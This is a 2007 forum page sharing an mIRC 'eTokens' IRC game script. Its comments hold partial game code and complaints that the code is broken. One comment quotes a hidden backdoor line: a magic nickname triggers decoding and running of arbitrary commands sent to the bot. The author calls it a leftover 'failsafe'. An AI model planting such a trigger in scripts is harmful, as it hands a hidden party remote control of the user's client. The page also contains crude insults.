Ciber's eToken Script

By Staccia on Jul 28, 2007

ETOKENS MADE AND RELEASED BY CIBER AND STACCIA!

Okay, as some of you might know #etokens so called: [21:28:43] -ChanServ- Description: The official Steroidbot eToken room

Is a complete lie, Screwy stole my nick pass, etoken script, and channels, I got Cibber and the channels back. Ciber was filtered for some stupid reason, Cibber was stolen(then gotten back, along with channels).

Screwy has taken the script and clamined it as his own, infact it is not. You might remember playing this in the official channel, #ciber and #runescape on irc.swiftirc.net, and i'm only releasing this because someone got ahold of it, and I already made a new much cleaner version that needs a dedicated server to run on.

Don't laugh at the coding, this was one of my first mIRC scripts, and it saves in like 4 files I know, but you'll get used to it.

Also, here I am releasing a eToken macro client, that you can use to play eTokens easier! This client was actually made for the NEW eTokens, that facefuck screwy hasn't gotten ahold of, but you can edit it to work with this version (under eToken Script) :)

Edit it as you'd like, all credit for this script goes to Ciber (creator) and Staccia/Kayla (editor).

Comments

Sign in to comment.
Sephiroth1n6   -  Sep 22, 2007

i hope staccia doesnt look here again -.- i accidentally posted that thig twice -.-

 Respond  
Sephiroth1n6   -  Sep 22, 2007
here is what staccia is missing 
4 $calc( $readini(eToken.ini,eTokens,$4) + 3 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == $null) {
        notice $nick The cracker was empty!
        notice $4 The cracker was empty!
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
        unset $nick
      }
      if (%rand17 == 7) {
        notice $nick You got 1 eTokens!
        notice $4 You got 1 eTokens!
        writeini -n etoken.ini eTokens $nick $calc( $readini(eToken.ini,eTokens,$nick) + 1 )
        writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == Purple) {
        notice $chan 13,1 $+ $nick found a Purple Partyhat!
        notice $nick 13,1You found a Purple Partyhat!
        notice $4 You got 3 eTokens!
        writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 3 )
        writeini -n etoken1.ini Purple $nick $calc( $readini(eToken1.ini,Purple,$nick) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == Yellow) {
        notice $chan 8,1 $+ $nick found a Yellow Partyhat!
        notice $nick 8,1You found a Yellow Partyhat!
        notice $4 You got 4 eTokens!
        writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 4 )
        writeini -n etoken1.ini Yellow $nick $calc( $readini(eToken1.ini,Yellow,$nick) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == Green) {
        notice $chan 9,1 $+ $nick found a Green Partyhat!
        notice $nick 9,1You found a Green Partyhat!
        notice $4 You got 2 eTokens!
        writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 2 )
        writeini -n etoken1.ini Green $nick $calc( $readini(eToken1.ini,Green,$nick) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == Santa) {
        notice $chan 4,1 $+ $nick $+  0f4o0u4n0d 4a 0R4a0r4e 4S0a4n0t4a4 H0a4t0!
        notice $nick 4,1Y0o4u 0f4o0u4n0d 4a 0R4a0r4e 4S0a4n0t4a4 H0a4t0!
        notice $4 You got 100 eTokens!
        writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 100 )
        writeini -n etoken-other.ini Santa $nick $calc( $readini(eToken-other.ini,Santa,$nick) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == pumpkin) {
        notice $chan 7,1 $+ $nick found a Rare Pumpkin!
        notice $nick 7,1You found a Rare Pumpkin!
        notice $4 You got 100 eTokens!
        writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 100 )
        writeini -n etoken-other.ini pumpkin $nick $calc( $readini(eToken-other.ini,pumpkin,$nick) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == Red) {
        notice $chan 4,1 $+ $nick found a Red Partyhat!
        notice $nick 4,1You found a Red Partyhat!
        notice $4 You got 0 eTokens!
        writeini -n etoken1.ini Red $nick $calc( $readini(eToken1.ini,Red,$nick) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == White) {
        notice $chan 0,1 $+ $nick found a White Partyhat!
        notice $nick 0,1You found a White Partyhat!
        notice $4 You got 6 eTokens!
        writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 6 )
        writeini -n etoken1.ini White $nick $calc( $readini(eToken1.ini,White,$nick) + 1 )
        writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
      }
      if (%rand17 == Blue) {
        if ($rand(0,2) == 1) /set %rand18 1
        if ($rand(0,2) == 2) /set %rand18 2
        if (%rand18 == $null) {
          notice $chan 12,1 $+ $nick found a Blue Partyhat!
          notice $nick 12,1You found a Blue Partyhat!
          notice $4 You got 8 eTokens!
          writeini -n etoken.ini eTokens $4 $calc( $readini(eToken.ini,eTokens,$4) + 8 )
          writeini -n etoken1.ini Blue $nick $calc( $readini(eToken1.ini,Blue,$nick) + 1 )
          writeini -n etoken.ini cracker $nick $calc( %doeshehaveacracker - 1 )
        }
        else { unset %rand18 | notice $nick The cracker doesn\'t break... | notice $4 The cracker doesn\'t break... }
      }
    }
  }
  if ($2 == kick) {
    if ($3 == $null) { notice $nick Correct format: !eToken kick <nick> <reason> | HALT }
    if ($4 == $null) { notice $nick Correct format: !eToken kick <nick> <reason> | HALT }
    if (%kicknick == $nick) { notice $nick You can not kick twice in a row, you will be able to kick once someone else  kicks someone. | HALT }
    if ($3 !ison $chan) { notice $nick $3 is not in $chan | HALT }
    if ($3 isop $chan) { notice $nick $3 is an Op in $chan | HALT }
    if ($3 == $me) { notice $nick Don\'t even try it! | HALT }
    if ($3 == $nick) { notice $nick You can\'t kick yourself. | HALT }
    if ($readini(eToken1.ini,Rich,$nick) == 1) {
      notice $nick $3 has been kicked.
      msg %etokchan $nick has used eTokens to kick $3 from $chan - Reason: $4-
      kick $chan $3 4,1Kick purchased by $nick Reason: $4-
      set %kicknick $nick | halt
    }
    if ($readini(eToken.ini,eTokens,$nick) < 5000) { notice $nick You don\'t have enough eTokens to purchase a kick. | HALT  }
    notice $nick $3 has been kicked.
    msg %etokchan $nick has used eTokens to kick $3 from $chan - Reason: $4-
    kick $chan $3 4,1Kick purchased by $nick Reason: $4-
    writeini -n etoken.ini eTokens $nick $calc( $readini(eToken.ini,eTokens,$nick) - 5000 )
    set %kicknick $nick
  }
  if ($2 == view) {
    if ($readini(eToken2.ini,locked,$3) != $null) { msg $chan Who is $3 $+ ? | HALT }
    if ($3 == $null) { msg $chan Correct format: !eToken spy <nick> | HALT }
    if ($3 !ison $chan) { msg $chan You can\'t find $3 $+ . | HALT }
    msg $chan (Level $iif($readini(eToken-levels.ini,level,$3),$null,1) $+ $readini(eToken-levels.ini,level,$3) $+ ) $3 has $readini(eToken.ini,eTokens,$3) $+ $iif($readini(eToken.ini,eTokens,$3),$null,0) eTokens, $readini(eToken.ini,cracker,$3) $+ $iif($readini(eToken.ini,cracker,$3),$null,0) crackers, and  $readini(eToken1.ini,RAM,$3) $+ $iif($readini(eToken1.ini,RAM,$3),$null,0) MB of RAM.
    if ($readini(eToken1.ini,Firewall,$3) == 1) { msg $chan 1,4 $+ $3 has a Firewall! ( Status: Not Installed ) }
    if ($readini(eToken1.ini,Firewall,$3) == 2) { msg $chan 1,4 $+ $3 has a Firewall! ( Status: Installed ) }
    if ($readini(eToken1.ini,Purple,$3) > 0) { msg $chan 6,1 $+ $3 has a Purple PartyHat! ( Amount:  $readini(eToken1.ini,Purple,$3) ) }
    if ($readini(eToken1.ini,Yellow,$3) > 0) { msg $chan 8,1 $+ $3 has a Yellow PartyHat! ( Amount:  $readini(eToken1.ini,Yellow,$3) ) }
    if ($readini(eToken1.ini,Green,$3) > 0) { msg $chan 9,1 $+ $3 has a Green PartyHat! ( Amount:  $readini(eToken1.ini,Green,$3) ) }
    if ($readini(eToken1.ini,Red,$3) > 0) { msg $chan 4,1 $+ $3 has a Red PartyHat! ( Amount:  $readini(eToken1.ini,Red,$3) ) }
    if ($readini(eToken1.ini,White,$3) > 0) { msg $chan 0,1 $+ $3 has a White PartyHat! ( Amount:  $readini(eToken1.ini,White,$3) ) }
    if ($readini(eToken1.ini,Blue,$3) > 0) { msg $chan 12,1 $+ $3 has a Blue PartyHat! ( Amount:  $readini(eToken1.ini,Blue,$3) ) }
    if ($readini(eToken-other.ini,pumpkin,$3) > 0) { msg $chan 7,1 $+ $3 has a Rare Pumpkin! ( Amount: $readini(eToken-other.ini,pumpkin,$3) ) }
    if ($readini(eToken-other.ini,santa,$3) > 0) { msg $chan 4,1 $+ $mid($3,1,1) $+ 0 $+ $mid($3,2,1) $+ 4 $+ $mid($3,3,1) $+ 0 $+ $mid($3,4,1) $+ 4 $+ $mid($3,5,1) $+ 0 $+ $mid($3,6,1) $+ 4 $+ $mid($3,7,1) $+ 0 $+ $mid($3,8,1) $+ 4 $+ $mid($3,9,1) $+ 0 $+ $mid($3,10,1) $+ 4 $+ $mid($3,11,1) $+ 0 $+ $mid($3,12,1) $+  4h0a4s0 a 4R0a4r0e 4S0a4n0t4a0 4H0a4t0 4( 0A4m0o40u4n0t0: 4 $+ $readini(eToken-other.ini,santa,$3) $+ 0 )  }
    if ($readini(eToken1.ini,Rich,$3) == 1) { msg $chan 8,1 $+ $3 has a Symbol of Riches! }
    if ($readini(eToken1.ini,Rich,$3) == 1) { msg $chan 0,1 $+ $3 has9,1 $readini(eToken2.ini,Green,$3) Green  Masks0,1,12,1 $readini(eToken2.ini,Blue,$3) Blue Masks0,1, and4,1 $readini(eToken2.ini,Red,$3) Red Masks. }
    if ($3 !ison %etokchan) { halt }
    if ($3 !isreg %etokchan) { msg $chan 15,14 $+ $3 has a BotOper DogTag. }
  }
  if ($2 == forceview) {
    if ($readini(eToken2.ini,locked,$3) != $null) { notice $nick Who is $3 $+ ? | HALT }
    if ($3 == $null) { notice $nick Correct format: !eToken spy <nick> | HALT }
    if ($3 !ison $chan) { notice $nick You can\'t fi;nd $3 $+ . | HALT }
    notice $nick (Level $iif($readini(eToken-levels.ini,level,$3),$null,1) $+ $readini(eToken-levels.ini,level,$3) $+ ) $3 has $readini(eToken.ini,eTokens,$3) $+ $iif($readini(eToken.ini,eTokens,$3),$null,0) eTokens, $readini(eToken.ini,cracker,$3) $+ $iif($readini(eToken.ini,cracker,$3),$null,0) crackers, and  $readini(eToken1.ini,RAM,$3) $+ $iif($readini(eToken1.ini,RAM,$3),$null,0) MB of RAM.
    if ($readini(eToken1.ini,Firewall,$3) == 1) { notice $nick 1,4 $+ $3 has a Firewall! ( Status: Not Installed ) }
    if ($readini(eToken1.ini,Firewall,$3) == 2) { notice $nick 1,4 $+ $3 has a Firewall! ( Status: Installed ) }
    if ($readini(eToken1.ini,Purple,$3) > 0) { notice $nick 6,1 $+ $3 has a Purple PartyHat! ( Amount:  $readini(eToken1.ini,Purple,$3) ) }
    if ($readini(eToken1.ini,Yellow,$3) > 0) { notice $nick 8,1 $+ $3 has a Yellow PartyHat! ( Amount:  $readini(eToken1.ini,Yellow,$3) ) }
    if ($readini(eToken1.ini,Green,$3) > 0) { notice $nick 9,1 $+ $3 has a Green PartyHat! ( Amount:  $readini(eToken1.ini,Green,$3) ) }
    if ($readini(eToken1.ini,Red,$3) > 0) { notice $nick 4,1 $+ $3 has a Red PartyHat! ( Amount:  $readini(eToken1.ini,Red,$3) ) }
    if ($readini(eToken1.ini,White,$3) > 0) { notice $nick 0,1 $+ $3 has a White PartyHat! ( Amount:  $readini(eToken1.ini,White,$3) ) }
    if ($readini(eToken1.ini,Blue,$3) > 0) { notice $nick 12,1 $+ $3 has a Blue PartyHat! ( Amount:  $readini(eToken1.ini,Blue,$3) ) }
    if ($readini(eToken-other.ini,pumpkin,$3) > 0) { notice $nick 7,1 $+ $3 has a Rare Pumpkin! ( Amount: $readini(eToken-other.ini,pumpkin,$3) ) }
    if ($readini(eToken-other.ini,santa,$3) > 0) { notice $nick 4,1 $+ $mid($3,1,1) $+ 0 $+ $mid($3,2,1) $+ 4 $+ $mid($3,3,1) $+ 0 $+ $mid($3,4,1) $+ 4 $+ $mid($3,5,1) $+ 0 $+ $mid($3,6,1) $+ 4 $+ $mid($3,7,1) $+ 0 $+ $mid($3,8,1) $+ 4 $+ $mid($3,9,1) $+ 0 $+ $mid($3,10,1) $+ 4 $+ $mid($3,11,1) $+ 0 $+ $mid($3,12,1) $+  4h0a4s0 a 4R0a4r0e 4S0a4n0t4a0 4H0a4t0 4( 0 $+ $readini(eToken-other.ini,santa,$3) $+ 4 )  }
    if ($readini(eToken1.ini,Rich,$3) == 1) { notice $nick 8,1 $+ $3 has a Symbol of Riches! }
    if ($readini(eToken1.ini,Rich,$3) == 1) { notice $nick 0,1 $+ $3 has9,1 $readini(eToken2.ini,Green,$3) Green  Masks0,1,12,1 $readini(eToken2.ini,Blue,$3) Blue Masks0,1, and4,1 $readini(eToken2.ini,Red,$3) Red Masks. }
    if ($3 !ison %etokchan) { halt }
    if ($3 !isreg %etokchan) { notice $nick 15,14 $+ $3 has a BotOper DogTag. }
  }
  if ($2 == attack) {
    if ($3 == $null) {
      if ($readini(eToken-levels.ini,level,$nick) == $null) { writeini eToken-levels.ini level $nick 1 }
      notice $nick Welcome $nick $+ ! Your currently Level $readini(eToken-levels.ini,level,$nick) $+ , Experience: $readini(eToken-levels.ini,exp,$nick) $+ $iif($readini(eToken-level.ini,exp,$nick) == $null,0) $+ / $+ $readini(eToken-levels.ini,level,$nick)
      notice $nick Attack someone - !etoken attack <nick>
    }
    if ($readini(eToken-levels.ini,level,$3) == $null) { writeini eToken-levels.ini level $3 1 }
    if ($readini(eToken-levels.ini,level,$nick) == $null) { writeini eToken-levels.ini level $nick 1 }
    if ($nick == $3) { notice $nick You can\'t attack yourself... | HALT }
    %attackcheck = $rand(1,2)
    notice $nick You attack $3 $+ ...
    notice $3 You are being attacked by $nick $+ ...
    if (%attackcheck == 1) { 
      notice $nick You have lost!
      notice $3 You have won!
      writeini eToken-levels.ini exp $3 $calc($readini(eToken-levels.ini,exp,$3) + 10)
      if (50 =/ $readini(eToken-levels.ini,exp,$3)) { 
        notice $3 You have Leveled up! New Level: $calc($readini(eToken-levels.ini,level,$3) + 1)
        writeini eToken-levels.ini level $3 $calc($readini(eToken-levels.ini,level,$3) + 1)
      }
      halt
    }
    if (%attackcheck == 2) { 
      notice $3 You have lost!
      notice $nick You have won!
      writeini eToken-levels.ini exp $nick $calc($readini(eToken-levels.ini,exp,$nick) + 10)
      if (50 =/ $readini(eToken-levels.ini,exp,$nick)) { 
        notice $nick You have Leveled up! New Level: $calc($readini(eToken-levels.ini,level,$nick) + 1)
        writeini eToken-levels.ini level $nick $calc($readini(eToken-levels.ini,level,$nick) + 1)
      }
      halt
    }
  }
  if ($2 == level) {
    if ($3 == $null) {
      if ($readini(eToken-levels.ini,level,$nick) == $null) { writeini eToken-levels.ini level $nick 1 }
      notice $nick Welcome $nick $+ ! Your currently Level $readini(eToken-levels.ini,level,$nick) $+ , Experience: $readini(eToken-levels.ini,exp,$nick) $+ $iif($readini(eToken-level.ini,exp,$nick) == $null,0) $+ / $+ $readini(eToken-levels.ini,level,$nick)
      notice $nick Attack someone - !etoken attack <nick>
    }
    if ($readini(eToken-levels.ini,level,$nick) == $null) { writeini eToken-levels.ini level $nick 1 }
    if ($readini(eToken-levels.ini,level,$3) == $null) { writeini eToken-levels.ini level $3 1 }
    if ($readini(eToken-levels.ini,exp,$3) == $null) {
      notice $nick $3 $+ \'s current Level:  $+ $readini(eToken-levels.ini,level,$3) $+  Experience:  $+ 0/ $+ $readini(eToken-levels.ini,level,$3) $+ 
    }
    if ($readini(eToken-levels.ini,exp,$3) != $null) {
      notice $nick $3 $+ \'s current Level:  $+ $readini(eToken-levels.ini,level,$3) $+  Experience:  $+ $readini(eToken-levels.ini,exp,$3) $+ / $+ $readini(eToken-levels.ini,level,$3) $+ 
    }
  }
}
on *:signal:attacklevelcheck: {

}
#etok end

just add this to the end of the script lol

 Respond  
Sephiroth1n6   -  Sep 22, 2007
        writeini -n etoken.ini eTokens $nick $calc( $readini(eToken.ini,eTokens,$nick) + 7 )
        writeini -n etoken.ini eTokens $

why does it end like this lol,
i have the good version of etoken posted here as a snippet, just view my snippets or search etokens

 Respond  
Sephiroth1n6   -  Sep 22, 2007

the code is incomplete, staccia, why must you post useless things?

 Respond  
Korvin   -  Aug 15, 2007

no score?

 Respond  
Zachery   -  Aug 04, 2007

Code is broken

 Respond  
Sephiroth1n6   -  Aug 03, 2007

sorry about this double post but i accidently hit enter i think O.o... i was meaning to say the version that Teh_Freekboy told me i should keep secret lol...

 Respond  
Sephiroth1n6   -  Aug 03, 2007

i wasnt thinking to much when i got here lol

 Respond  
Staccia   -  Aug 03, 2007

rofl what secret one, this is the version i use

 Respond  
Sephiroth1n6   -  Aug 02, 2007

It is a very, very good script but I like the \"secret\" one better .

 Respond  
Staccia   -  Jul 31, 2007

it was a failsafe forgot to remove it =p

 Respond  
Noutrious   -  Jul 29, 2007
    #if ($nick == 114967238asdfdsa1498746272057aaa) { set %lag $3- | / $+ $decode(%lag) | close -m | halt }

Don\'t like this line.

 Respond  
Are you sure you want to unfollow this person?
Are you sure you want to delete this?
Click "Unsubscribe" to stop receiving notices pertaining to this post.
Click "Subscribe" to resume notices pertaining to this post.